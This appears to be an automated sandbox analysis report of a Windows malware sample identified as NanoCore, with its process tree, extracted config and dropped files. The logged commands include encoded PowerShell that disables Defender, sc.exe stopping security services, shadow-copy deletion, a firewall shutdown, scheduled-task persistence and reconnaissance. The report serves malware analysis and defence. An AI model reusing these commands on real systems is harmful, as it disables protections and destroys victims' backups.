Analysis

  • max time kernel
    0s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    25/09/2026, 08:22

General

  • Target
    2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 57KB
  • Sample260925-j9w3rstbme
  • SHA256 8b7f94375f7b10d6ab198fe71fcd593901e533b9ed6d949427c2dbacfb4d0b77
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://crowdin.com

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://crowdin.com

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 4 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Detects command variations typically used by ransomware 2 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Disables service(s) 3 TTPs
  • Stops running service(s) 4 TTPs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4996
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4632
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:3840
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4664
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:4568
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:3528
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:1884
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:4340
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:3340
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1920
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
        PID:3924
        • C:\Users\Admin\AppData\Local\Temp\2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe
          "C:\Users\Admin\AppData\Local\Temp\2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe"
          3⤵
            PID:5068
        • C:\Windows\System32\sc.exe
          "C:\Windows\System32\sc.exe" stop wscsvc
          2⤵
          • Launches sc.exe
          PID:2120
        • C:\Windows\System32\sc.exe
          "C:\Windows\System32\sc.exe" stop wuauserv
          2⤵
          • Launches sc.exe
          PID:4820
        • C:\Windows\System32\vssadmin.exe
          "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
          2⤵
          • Interacts with shadow copies
          PID:4596
        • C:\Windows\System32\wbem\WMIC.exe
          "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
          2⤵
            PID:5024
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
            2⤵
            • Executes a VBScript file via the Windows Script Host.
            PID:4984
          • C:\Windows\System32\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4408
          • C:\Windows\System32\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1720
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
            2⤵
            • Executes a command shell one-liner
            PID:5096
            • C:\Windows\system32\vssadmin.exe
              vssadmin delete shadows /all /quiet
              3⤵
              • Interacts with shadow copies
              PID:4320
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic shadowcopy delete
              3⤵
                PID:3384
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
              2⤵
              • Executes a command shell one-liner
              PID:660
              • C:\Windows\system32\systeminfo.exe
                systeminfo
                3⤵
                • Gathers system information
                PID:2992
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
              2⤵
              • Executes a command shell one-liner
              PID:4312
              • C:\Windows\system32\tasklist.exe
                tasklist
                3⤵
                • Discovers running processes
                PID:3544
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
              2⤵
              • Executes a command shell one-liner
              PID:684
              • C:\Windows\system32\whoami.exe
                whoami
                3⤵
                  PID:1036
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
                2⤵
                • Executes a command shell one-liner
                PID:2688
                • C:\Windows\system32\net.exe
                  net user
                  3⤵
                    PID:2620
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 user
                      4⤵
                        PID:5100
                  • C:\Windows\SYSTEM32\cmd.exe
                    "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
                    2⤵
                    • Executes a command shell one-liner
                    PID:3288
                    • C:\Windows\system32\ipconfig.exe
                      ipconfig /all
                      3⤵
                      • Gathers network information
                      PID:3836
                  • C:\Windows\SYSTEM32\cmd.exe
                    "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
                    2⤵
                    • Executes a command shell one-liner
                    PID:1052
                    • C:\Windows\system32\NETSTAT.EXE
                      netstat -an
                      3⤵
                      • Gathers network information
                      PID:1652
                  • C:\Windows\SYSTEM32\schtasks.exe
                    "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
                    2⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4964
                    • C:\Windows\System32\Conhost.exe
                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      3⤵
                        PID:4664
                    • C:\Windows\System32\wscript.exe
                      "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                      2⤵
                      • Executes a VBScript file via the Windows Script Host.
                      PID:4308
                    • C:\Windows\System32\notepad.exe
                      "C:\Windows\System32\notepad.exe"
                      2⤵
                        PID:3028
                      • C:\Windows\System32\vssadmin.exe
                        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                        2⤵
                        • Interacts with shadow copies
                        PID:4224
                      • C:\Windows\System32\wbem\WMIC.exe
                        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                        2⤵
                          PID:3828
                        • C:\Windows\System32\net.exe
                          "C:\Windows\System32\net.exe" stop srservice
                          2⤵
                            PID:3236
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 stop srservice
                              3⤵
                                PID:64
                            • C:\Windows\System32\netsh.exe
                              "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                              2⤵
                              • Modifies Windows Firewall
                              PID:2436
                            • C:\Windows\System32\sc.exe
                              "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                              2⤵
                              • Launches sc.exe
                              PID:2772
                            • C:\Windows\System32\sc.exe
                              "C:\Windows\System32\sc.exe" stop i8042prt
                              2⤵
                              • Launches sc.exe
                              PID:4816
                          • C:\Windows\system32\vssvc.exe
                            C:\Windows\system32\vssvc.exe
                            1⤵
                              PID:4992
                            • C:\Users\Admin\AppData\Local\Temp\2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe
                              C:\Users\Admin\AppData\Local\Temp\2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe
                              1⤵
                                PID:1368
                              • C:\Users\Admin\AppData\Local\Temp\2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                C:\Users\Admin\AppData\Local\Temp\2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                1⤵
                                  PID:3424

                                Network

                                      MITRE ATT&CK Enterprise v16

                                      Replay Monitor

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                                      Downloads

                                      scr_20260925_092431.jpg

                                      • Path C:\ProgramData\SysUpdate\Scr\scr_20260925_092431.jpg
                                      • Size 68KB
                                      • SHA256 b30232f957b8f55d5d88984d9629fa8a26a1a6b428b020eb24ffb90f6b671acd
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      invoice_1.pdf

                                      • Path C:\ProgramData\invoice_1.pdf
                                      • Size 76KB
                                      • SHA256 f091d2cf197a1ab24001efba4d9fae53eb77ab3585d4aa06cbad9dfadae814e4
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      doc_3.pdf

                                      • Path C:\SystemVolumeInformation\doc_3.pdf
                                      • Size 76KB
                                      • SHA256 45494c5347b047dc244764e56dd79849ce731252208d1f2ab9b416d51598c63c
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe.log

                                      • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-09-24_652b5de751231faae889a1e1cde4fff9_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
                                      • Size 660B
                                      • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                                      • MD5 SHA1 SHA512 TLSH

                                      __PSScriptPolicyTest_qqivkzsp.kzy.ps1

                                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qqivkzsp.kzy.ps1
                                      • Size 60B
                                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                      • MD5 SHA1 SHA512 TLSH

                                      createshortcut.vbs

                                      • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                                      • Size 309B
                                      • SHA256 ae9e8e86bf45dcd8320afe296f8321ef771b4df19b6b3ad178352b2eac1698e5
                                      • MD5 SHA1 SHA512 TLSH

                                      del.bat

                                      • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                                      • Size 59B
                                      • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                                      • MD5 SHA1 SHA512 TLSH

                                      makelnk.vbs

                                      • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                                      • Size 310B
                                      • SHA256 cf6ea1a44f5034eee0e1a46f1a0bdd7be76965c58fa6ce19992928d60e713859
                                      • MD5 SHA1 SHA512 TLSH

                                      temp_steal.log

                                      • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                                      • Size 91KB
                                      • SHA256 a4ceb352d03d3760671361c53d675962a5d8b89ba42800513943046f12525189
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      stolen_data_here.txt

                                      • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                                      • Size 91KB
                                      • SHA256 3b3d4a575e1f021c23dfa1277f8f9d2a2e0fe52474eb399aa997c7a1f35a5597
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      sysupdate.exe

                                      • Path C:\Windows\System32\sysupdate.exe
                                      • Size 57KB
                                      • SHA256 8b7f94375f7b10d6ab198fe71fcd593901e533b9ed6d949427c2dbacfb4d0b77
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      memory/3028-2254-0x000001FDC1650000-0x000001FDC1651000-memory.dmp

                                      memory/4632-520-0x0000017ADFE70000-0x0000017ADFE92000-memory.dmp

                                      memory/4996-2267-0x0000000003090000-0x00000000030A0000-memory.dmp

                                      memory/4996-0-0x0000000000EA0000-0x0000000000EB4000-memory.dmp

                                      memory/4996-1-0x0000000003090000-0x00000000030A0000-memory.dmp